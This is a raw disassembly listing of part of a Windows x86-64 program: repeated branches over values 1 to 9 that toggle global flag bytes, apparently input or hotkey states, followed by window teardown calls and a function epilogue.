mov byte [0x14020832d], dl
jmp 0x14005e039
cmp r8d, 2
jne 0x14005dfac
test dl, dl
je 0x14005e032
test r10b, r10b
jmp 0x14005df7e
cmp r8d, 3
jne 0x14005dfbe
cmp byte [rsp + 0x61], 0
je 0x14005e032
test r11b, r11b
jmp 0x14005df7e
cmp r8d, 4
jne 0x14005dfcf
cmp byte [rsp + 0x62], 0
je 0x14005e032
test bl, bl
jmp 0x14005df7e
cmp r8d, 5
jne 0x14005dfe1
cmp byte [rsp + 0x63], 0
je 0x14005e032
test dil, dil
jmp 0x14005df7e
cmp r8d, 6
jne 0x14005dff3
cmp byte [rsp + 0x64], 0
je 0x14005e032
test sil, sil
jmp 0x14005df7e
cmp r8d, 7
jne 0x14005e008
cmp byte [rsp + 0x65], 0
je 0x14005e032
test r14b, r14b
jmp 0x14005df7e
cmp r8d, 8
jne 0x14005e01d
cmp byte [rsp + 0x66], 0
je 0x14005e032
test r15b, r15b
jmp 0x14005df7e
cmp r8d, 9
jne 0x14005e032
cmp byte [rsp + 0x67], 0
je 0x14005e032
test r12b, r12b
jmp 0x14005df7e
movzx edx, byte [0x14020832d]
cmp ecx, 1
jne 0x14005e068
test r13b, r13b
je 0x14005e1c7
movzx ecx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14005e1cc
cmp byte [0x140208307], r9b
sete byte [0x140208307]
jmp 0x14005e1cc
cmp ecx, 2
jne 0x14005e096
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x14005e1cc
test r10b, r10b
jne 0x14005e1cc
cmp byte [0x140208307], r10b
sete byte [0x140208307]
jmp 0x14005e1cc
cmp ecx, 3
jne 0x14005e0c7
cmp byte [rsp + 0x61], 0
je 0x14005e1c7
movzx ecx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14005e1cc
cmp byte [0x140208307], r11b
sete byte [0x140208307]
jmp 0x14005e1cc
cmp ecx, 4
jne 0x14005e0f6
cmp byte [rsp + 0x62], 0
je 0x14005e1c7
movzx ecx, byte [rsp + 0x60]
test bl, bl
jne 0x14005e1cc
cmp byte [0x140208307], bl
sete byte [0x140208307]
jmp 0x14005e1cc
cmp ecx, 5
jne 0x14005e127
cmp byte [rsp + 0x63], 0
je 0x14005e1c7
movzx ecx, byte [rsp + 0x60]
test dil, dil
jne 0x14005e1cc
cmp byte [0x140208307], dil
sete byte [0x140208307]
jmp 0x14005e1cc
cmp ecx, 6
jne 0x14005e155
cmp byte [rsp + 0x64], 0
je 0x14005e1c7
movzx ecx, byte [rsp + 0x60]
test sil, sil
jne 0x14005e1cc
cmp byte [0x140208307], sil
sete byte [0x140208307]
jmp 0x14005e1cc
cmp ecx, 7
jne 0x14005e17b
cmp byte [rsp + 0x65], 0
je 0x14005e1c7
movzx ecx, byte [rsp + 0x60]
test r14b, r14b
jne 0x14005e1cc
cmp byte [0x140208307], r14b
sete byte [0x140208307]
jmp 0x14005e1cc
cmp ecx, 8
jne 0x14005e1a1
cmp byte [rsp + 0x66], 0
je 0x14005e1c7
movzx ecx, byte [rsp + 0x60]
test r15b, r15b
jne 0x14005e1cc
cmp byte [0x140208307], r15b
sete byte [0x140208307]
jmp 0x14005e1cc
cmp ecx, 9
jne 0x14005e1c7
cmp byte [rsp + 0x67], 0
je 0x14005e1c7
movzx ecx, byte [rsp + 0x60]
test r12b, r12b
jne 0x14005e1cc
cmp byte [0x140208307], r12b
sete byte [0x140208307]
jmp 0x14005e1cc
movzx ecx, byte [rsp + 0x60]
mov eax, dword [0x140208374]
cmp eax, 1
jne 0x14005e1e8
test r13b, r13b
je 0x14005e27e
test r9b, r9b
jmp 0x14005e26e
cmp eax, 2
jne 0x14005e1fa
test cl, cl
je 0x14005e27e
test r10b, r10b
jmp 0x14005e26e
cmp eax, 3
jne 0x14005e20b
cmp byte [rsp + 0x61], 0
je 0x14005e27e
test r11b, r11b
jmp 0x14005e26e
cmp eax, 4
jne 0x14005e21b
cmp byte [rsp + 0x62], 0
je 0x14005e27e
test bl, bl
jmp 0x14005e26e
cmp eax, 5
jne 0x14005e22c
cmp byte [rsp + 0x63], 0
je 0x14005e27e
test dil, dil
jmp 0x14005e26e
cmp eax, 6
jne 0x14005e23d
cmp byte [rsp + 0x64], 0
je 0x14005e27e
test sil, sil
jmp 0x14005e26e
cmp eax, 7
jne 0x14005e24e
cmp byte [rsp + 0x65], 0
je 0x14005e27e
test r14b, r14b
jmp 0x14005e26e
cmp eax, 8
jne 0x14005e25f
cmp byte [rsp + 0x66], 0
je 0x14005e27e
test r15b, r15b
jmp 0x14005e26e
cmp eax, 9
jne 0x14005e27e
cmp byte [rsp + 0x67], 0
je 0x14005e27e
test r12b, r12b
jne 0x14005e27e
cmp byte [0x140208330], 0
sete byte [0x140208330]
mov eax, dword [0x140208340]
cmp eax, 1
jne 0x14005e29a
test r13b, r13b
je 0x14005e349
test r9b, r9b
jmp 0x14005e339
cmp eax, 2
jne 0x14005e2af
test cl, cl
je 0x14005e349
test r10b, r10b
jmp 0x14005e339
cmp eax, 3
jne 0x14005e2c4
cmp byte [rsp + 0x61], 0
je 0x14005e349
test r11b, r11b
jmp 0x14005e339
cmp eax, 4
jne 0x14005e2d4
cmp byte [rsp + 0x62], 0
je 0x14005e349
test bl, bl
jmp 0x14005e339
cmp eax, 5
jne 0x14005e2f7
cmp byte [rsp + 0x63], 0
je 0x14005e349
test dil, dil
jne 0x14005e349
cmp byte [0x14020832e], dil
sete al
mov byte [0x14020832e], al
jmp 0x14005e350
cmp eax, 6
jne 0x14005e308
cmp byte [rsp + 0x64], 0
je 0x14005e349
test sil, sil
jmp 0x14005e339
cmp eax, 7
jne 0x14005e319
cmp byte [rsp + 0x65], 0
je 0x14005e349
test r14b, r14b
jmp 0x14005e339
cmp eax, 8
jne 0x14005e32a
cmp byte [rsp + 0x66], 0
je 0x14005e349
test r15b, r15b
jmp 0x14005e339
cmp eax, 9
jne 0x14005e349
cmp byte [rsp + 0x67], 0
je 0x14005e349
test r12b, r12b
jne 0x14005e349
cmp byte [0x140208334], 0
sete byte [0x140208334]
movzx eax, byte [0x14020832e]
mov ecx, dword [0x140208328]
cmp ecx, 1
jne 0x14005e380
test r13b, r13b
je 0x14005e4b0
movzx ecx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14005e4b5
test al, al
sete byte [0x14020832e]
jmp 0x14005e4b5
cmp ecx, 2
jne 0x14005e3a9
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x14005e4b5
test r10b, r10b
jne 0x14005e4b5
test al, al
sete byte [0x14020832e]
jmp 0x14005e4b5
cmp ecx, 3
jne 0x14005e3d5
cmp byte [rsp + 0x61], 0
je 0x14005e4b0
movzx ecx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14005e4b5
test al, al
sete byte [0x14020832e]
jmp 0x14005e4b5
cmp ecx, 4
jne 0x14005e400
cmp byte [rsp + 0x62], 0
je 0x14005e4b0
movzx ecx, byte [rsp + 0x60]
test bl, bl
jne 0x14005e4b5
test al, al
sete byte [0x14020832e]
jmp 0x14005e4b5
cmp ecx, 5
jne 0x14005e42c
cmp byte [rsp + 0x63], 0
je 0x14005e4b0
movzx ecx, byte [rsp + 0x60]
test dil, dil
jne 0x14005e4b5
test al, al
sete byte [0x14020832e]
jmp 0x14005e4b5
cmp ecx, 6
jne 0x14005e44d
cmp byte [rsp + 0x64], 0
je 0x14005e4b0
movzx ecx, byte [rsp + 0x60]
test sil, sil
jne 0x14005e4b5
test al, al
sete byte [0x14020832e]
jmp 0x14005e4b5
cmp ecx, 7
jne 0x14005e46e
cmp byte [rsp + 0x65], 0
je 0x14005e4b0
movzx ecx, byte [rsp + 0x60]
test r14b, r14b
jne 0x14005e4b5
test al, al
sete byte [0x14020832e]
jmp 0x14005e4b5
cmp ecx, 8
jne 0x14005e48f
cmp byte [rsp + 0x66], 0
je 0x14005e4b0
movzx ecx, byte [rsp + 0x60]
test r15b, r15b
jne 0x14005e4b5
test al, al
sete byte [0x14020832e]
jmp 0x14005e4b5
cmp ecx, 9
jne 0x14005e4b0
cmp byte [rsp + 0x67], 0
je 0x14005e4b0
movzx ecx, byte [rsp + 0x60]
test r12b, r12b
jne 0x14005e4b5
test al, al
sete byte [0x14020832e]
jmp 0x14005e4b5
movzx ecx, byte [rsp + 0x60]
mov eax, dword [0x14023e1c8]
cmp eax, 1
jne 0x14005e4ea
test r13b, r13b
je 0x14005e646
movzx eax, byte [rsp + 0x61]
test r9b, r9b
jne 0x14005e64b
cmp byte [0x14020832c], r9b
sete byte [0x14020832c]
jmp 0x14005e64b
cmp eax, 2
jne 0x14005e518
test cl, cl
je 0x14005e646
movzx eax, byte [rsp + 0x61]
test r10b, r10b
jne 0x14005e64b
cmp byte [0x14020832c], r10b
sete byte [0x14020832c]
jmp 0x14005e64b
cmp eax, 3
jne 0x14005e546
movzx eax, byte [rsp + 0x61]
test al, al
je 0x14005e64b
test r11b, r11b
jne 0x14005e64b
cmp byte [0x14020832c], r11b
sete byte [0x14020832c]
jmp 0x14005e64b
cmp eax, 4
jne 0x14005e575
cmp byte [rsp + 0x62], 0
je 0x14005e646
movzx eax, byte [rsp + 0x61]
test bl, bl
jne 0x14005e64b
cmp byte [0x14020832c], bl
sete byte [0x14020832c]
jmp 0x14005e64b
cmp eax, 5
jne 0x14005e5a6
cmp byte [rsp + 0x63], 0
je 0x14005e646
movzx eax, byte [rsp + 0x61]
test dil, dil
jne 0x14005e64b
cmp byte [0x14020832c], dil
sete byte [0x14020832c]
jmp 0x14005e64b
cmp eax, 6
jne 0x14005e5d4
cmp byte [rsp + 0x64], 0
je 0x14005e646
movzx eax, byte [rsp + 0x61]
test sil, sil
jne 0x14005e64b
cmp byte [0x14020832c], sil
sete byte [0x14020832c]
jmp 0x14005e64b
cmp eax, 7
jne 0x14005e5fa
cmp byte [rsp + 0x65], 0
je 0x14005e646
movzx eax, byte [rsp + 0x61]
test r14b, r14b
jne 0x14005e64b
cmp byte [0x14020832c], r14b
sete byte [0x14020832c]
jmp 0x14005e64b
cmp eax, 8
jne 0x14005e620
cmp byte [rsp + 0x66], 0
je 0x14005e646
movzx eax, byte [rsp + 0x61]
test r15b, r15b
jne 0x14005e64b
cmp byte [0x14020832c], r15b
sete byte [0x14020832c]
jmp 0x14005e64b
cmp eax, 9
jne 0x14005e646
cmp byte [rsp + 0x67], 0
je 0x14005e646
movzx eax, byte [rsp + 0x61]
test r12b, r12b
jne 0x14005e64b
movzx eax, byte [rsp + 0x61]
cmp r8d, 1
jne 0x14005e662
test r13b, r13b
je 0x14005e6f8
cmp r8d, 2
jne 0x14005e675
call fcn.140045ea0
call fcn.1400461f0
xor ecx, ecx
call fcn.140006a90
call fcn.140062d60
mov rcx, qword [0x1402082e8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x308]
mov rcx, qword [rbp + 0x330]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm15, xmmword [rsp + 0x2140]
xor eax, eax
movaps xmm14, xmmword [rsp + 0x2150]
movaps xmm13, xmmword [rsp + 0x2160]
movaps xmm12, xmmword [rsp + 0x2170]
movaps xmm11, xmmword [rsp + 0x2180]
movaps xmm10, xmmword [rsp + 0x2190]
movaps xmm9, xmmword [rsp + 0x21a0]
movaps xmm8, xmmword [rsp + 0x21b0]
movaps xmm7, xmmword [rsp + 0x21c0]
movaps xmm6, xmmword [rsp + 0x21d0]
mov r15, qword [rsp + 0x21e0]
mov r14, qword [rsp + 0x21e8]
mov r13, qword [rsp + 0x2220]
mov rdi, qword [rsp + 0x2218]
mov rsi, qword [rsp + 0x2210]
add rsp, 0x21f0
pop r12
pop rbx
pop rbp
ret